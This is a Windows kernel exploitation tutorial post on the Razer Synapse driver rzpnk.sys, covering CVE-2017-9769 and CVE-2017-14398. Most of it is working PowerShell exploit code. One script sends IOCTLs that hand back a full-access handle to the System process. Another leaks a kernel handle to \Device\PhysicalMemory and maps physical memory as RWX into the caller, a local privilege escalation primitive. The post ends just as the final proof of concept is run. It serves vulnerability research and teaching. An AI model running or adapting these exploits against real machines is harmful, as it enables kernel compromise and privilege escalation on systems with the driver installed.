Hello and welcome back to another installment of the Windows Kernel exploitation series! Today we will be looking at something a bit different. A while back @zeroSteiner found two bugs in rzpnk.sys (CVE-2017-9770 & CVE-2017-9769), a driver used by Razer Synapse. Some time later I decided to have a look at the bugs and ... I found another logic bug leading to local privilege escalation (CVE-2017-14398)!
In this post we will briefly demonstrate CVE-2017-9769 and then we will do a full exploit for the bug I found, CVE-2017-14398. Before we get started I want to give a big shout-out to @aionescu, he always tell me I don't know what I'm doing but at the same time is kind enough to set me straight! I have also been playing with Binary Ninja if anyone is curious where the screenshots come from.
Resources:
+ Razer Rzpnk.Sys IOCTL 0x226048 OOB Read (CVE-2017-9770) (@zeroSteiner) - here
+ Razer Rzpnk.Sys IOCTL 0x22a050 ZwOpenProcess (CVE-2017-9769) (@zeroSteiner) - here
+ MSI ntiolib.sys/winio.sys local privilege escalation (@rwfpl) - here
Salting The Battlefield
Before we get stuck-in I wanted to quickly show how close the vulnerable functions are on the callgraph. They are literally neighbors in the dispatch function..
Up to a point the branch leading to these calls is shared, then we can see that a value of 10 hex is subtracted from the IOCTL and if the result is zero we jump to the ZwOpenProcess call, if the remainder is 14 hex then we jump instead to the ZwMapViewOfSection call.
Notice also that the driver will check the length of the input and output buffer and will branch into a fail condition if an insufficient amount of input paramterers are provided or if the output buffer is not large enough.
ZwOpenProcess POC (CVE-2017-9769)
CallGraph
Get a grip, or ehurm .. a handle!
We won't spend too much time on this function but the vulnerability is easy enough to prove. We know the function needs two QWORD's as input parameters and from Spencer's exploit we can see he packs a pid and a null as QWORDS. We can quickly replicate that with the following POC.
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
}
"@
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Input buffer
$InBuffer = @(
[System.BitConverter]::GetBytes([Int64]0x4) + # PID 4 = System = 0x0000000000000004
[System.BitConverter]::GetBytes([Int64]0x0) # 0x0000000000000000
)
# Output buffer 1kb
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22a050 - ZwOpenProcess
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22a050, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
Running our POC give the following output.
If we look at the two QWORD's returned by the driver we can see the first one is the PID we passed in and the second one is a handle. When we look up the returned handle in our PowerShell process we see the following.
This is game over pretty much, we have a full access handle to the System pid, that means we can read from and write to any memory in that process space. The way Spencer exploited this was by (1) getting a handle to winlogon, (2) hooking user32!LockWorkStation to execute shellcode, (3) lock the user's session, (4) profit!
Exploiting ZwMapViewOfSection (CVE-2017-14398)
Time to get to the good stuff! I highly recommend that you have a look at @rwfpl's post on exploiting ntiolib/winio here to get more background on this bug type.
CallGraph
Function Arguments
Remember from the first screenshot that the function expects 30 hex size (6 QWORD's) as input and also returns 30 hex output. We can quickly create a POC to to reach the vulnerable function.
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
}
"@
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Input buffer
$InBuffer = @(
[System.BitConverter]::GetBytes([Int64]0xAAAAAA) +
[System.BitConverter]::GetBytes([Int64]0xBBBBBB) +
[System.BitConverter]::GetBytes([Int64]0xCCCCCC) +
[System.BitConverter]::GetBytes([Int64]0xDDDDDD) +
[System.BitConverter]::GetBytes([Int64]0xEEEEEE) +
[System.BitConverter]::GetBytes([Int64]0xFFFFFF)
)
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64())) # 0x30 pyramid scheme ;)
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
Before we do any debugging, we can run our POC and see what the driver returns.
Cool, in addition to a bunch of our input parameters we can see an Int64 which returns 0 and and a low-order DWORD that returns an NTSTATUS code. In this case ZwMapViewOfSection returns STATUS_INVALID_HANDLE which makes sense because it expects a section handle as the first parameter and we just fed it some junk. A nice side effect here is that we can tell if our call was successful by comparing the NTSTATUS code to 0x0 (STATUS_SUCCESS).
From the graph we can already tell what some of the static parameters are but to clear all doubts we can set a breakpoint on the call to ZwMapViewOfSection and inspect the registers + stack. ZwMapViewOfSection is using the stdcall calling convention so, in order, the arguments will be stored in RCX, RDX, R8, R9 & the stack.
Putting this together with our input parameters we get the following.
NTSTATUS ZwMapViewOfSection(
_In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
_In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
_Inout_ PVOID *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
_In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
_In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
_Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
_Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
_In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
_In_ ULONG AllocationType, | 0 -> Undocumented?
_In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
);
Most of what we control here is very straight forward. For the process handle we just need to pass in a full access handle to PowerShell and commit size/view size is simply how much we are mapping into our process. The question is where are we going to get a section handle, the driver does not have any functions which allow us to call ZwCreateSection or ZwOpenSection.
Leaking Physical Memory
I was a bit worried at this point that the exploit was dead because I couldn't create a section handle. Luckily @aionescu slapped some sense into me. Using NtQuerySystemInformation with the SystemHandleInformation class we can leak all handles opened by processes on the system. These handles are per-process userland handles, however, the System process (PID=4) being a special case allows us to convert the userland handle into a kernel handle!
Why do we care about this? Well System has a handle to "\Device\PhysicalMemory", if we can leak that handle we can get ZwMapViewOfSection to directly map physical memory into our PowerShell process!
I wrote a powershell function to take care of this process. It uses static handle constants to determine the type of handles opened by the process. I recently updated this so it works from Win7 up to Win10RS2. Get-Handles is part of my PSKernel-Primitives repo on GitHub, check it out if you want to pwn the kernel with PowerShell!
All we need to do to get the kernel handle is add a static value to 0x204 (0xffffffff80000000 for 64-bit and 0x80000000 for 32-bit). We can do this dynamically as follows.
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
We can now put together a new POC and fill in all the missing bits. For testing purposes we will try to map 1mb of physical memory into PowerShell.
function RZ-ZwMapViewOfSection {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
UInt32 processAccess,
bool bInheritHandle,
int processId);
}
"@
#----------------[Helper Funcs]
function Get-Handles {
<#
.SYNOPSIS
Use NtQuerySystemInformation::SystemHandleInformation to get a list of
open handles in the specified process, works on x32/x64.
Notes:
* For more robust coding I would recomend using @mattifestation's
Get-NtSystemInformation.ps1 part of PowerShellArsenal.
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
C:\PS> $Key |ft
ObjectType AccessMask PID Handle HandleFlags KernelPointer
---------- ---------- --- ------ ----------- -------------
Key 0x00000000 4 0x004C NONE 0xFFFFC9076FC29BC0
Key 0x00020000 4 0x0054 NONE 0xFFFFC9076FCDA7F0
Key 0x000F0000 4 0x0058 NONE 0xFFFFC9076FC39CE0
Key 0x00000000 4 0x0090 NONE 0xFFFFC907700A6B40
Key 0x00000000 4 0x0098 NONE 0xFFFFC90770029F70
Key 0x00020000 4 0x00A0 NONE 0xFFFFC9076FC9C1A0
[...Snip...]
#>
[CmdletBinding()]
param (
[Parameter(Mandatory = $True)]
[int]$ProcID
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_HANDLE_INFORMATION
{
public UInt32 ProcessID;
public Byte ObjectTypeNumber;
public Byte Flags;
public UInt16 HandleValue;
public IntPtr Object_Pointer;
public UInt32 GrantedAccess;
}
public static class GetHandles
{
[DllImport("ntdll.dll")]
public static extern int NtQuerySystemInformation(
int SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
ref int ReturnLength);
}
"@
# Make sure the PID exists
if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
Return
}
# Flag switches (0 = NONE?)
$FlagSwitches = @{
0 = 'NONE'
1 = 'PROTECT_FROM_CLOSE'
2 = 'INHERIT'
}
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Windows 10 (Tested on v1511)
{
# Win 10 v1703
if ($OSVersion.Build -ge 15063) {
$TypeSwitches = @{
0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
0x2d = 'ALPC Port'; 0x20 = 'Driver';
}
}
# Win 10 v1607
if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
$TypeSwitches = @{
0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
}
}
# Win 10 v1511
if ($OSVersion.Build -lt 14393) {
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
}
}
}
'6.2' # Windows 8 and Windows Server 2012
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
}
}
'6.1' # Windows 7 and Window Server 2008 R2
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
0x2b = 'PcwObject';
}
}
'6.0' # Windows Vista and Windows Server 2008
{
$TypeSwitches = @{
0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
}
}
}
[int]$BuffPtr_Size = 0
while ($true) {
[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
$SystemInformationLength = New-Object Int
$CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
# STATUS_INFO_LENGTH_MISMATCH
if ($CallResult -eq 0xC0000004) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
}
# STATUS_SUCCESS
elseif ($CallResult -eq 0x00000000) {
break
}
# Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
else {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
return
}
}
$SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
$SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
$SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
} else {
$SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
# Ask no questions, hear no lies!
}
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
$SystemHandleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
# PtrToStructure only objects we are targeting, this is expensive computation
if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
$HashTable = @{
PID = $Cast.ProcessID
ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
HandleFlags = $FlagSwitches[[int]$Cast.Flags]
Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
}
$Object = New-Object PSObject -Property $HashTable
$SystemHandleArray += $Object
}
$BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
}
if ($($SystemHandleArray.count) -eq 0) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
Return
}
# Set column order and auto size
$SystemHandleArray
# Free SYSTEM_HANDLE_INFORMATION array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
}
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Get full access process handle to self
echo "`n[>] Opening full access handle to PowerShell.."
$hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
echo "[+] PowerShell handle: $hPoshProc"
# Get Section handle
echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
# NTSTATUS ZwMapViewOfSection(
# _In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
# _In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
# _Inout_ PVOID *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
# _In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
# _In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
# _Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
# _Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
# _In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
# _In_ ULONG AllocationType, | 0 -> Undocumented?
# _In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
# );
$InBuffer = @(
[System.BitConverter]::GetBytes($hPoshProc.ToInt64()) + # Param 1 - RDX=ProcessHandle
[System.BitConverter]::GetBytes([Int64]0x0) + # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
[System.BitConverter]::GetBytes($SystemSectionHandle) + # Param 3 - RCX=SectionHandle
[System.BitConverter]::GetBytes([Int64]4) + # Param 4 - ? junk ?
[System.BitConverter]::GetBytes([Int64]$(1*1024*1024)) + # Param 5 - CommitSize / ViewSize (1mb)
[System.BitConverter]::GetBytes([Int64]4) # Param 6 - ? junk ?
)
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22a050 - ZwOpenProcess
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Verifying ZwMapViewOfSection.."
$NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
$Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
if ($NTSTATUS -eq 0) {
echo "[+] NTSTATUS Success!"
echo "[+] 1mb RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)`n"
} else {
echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)`n"
}
}
Running our new POC, we get the following output.
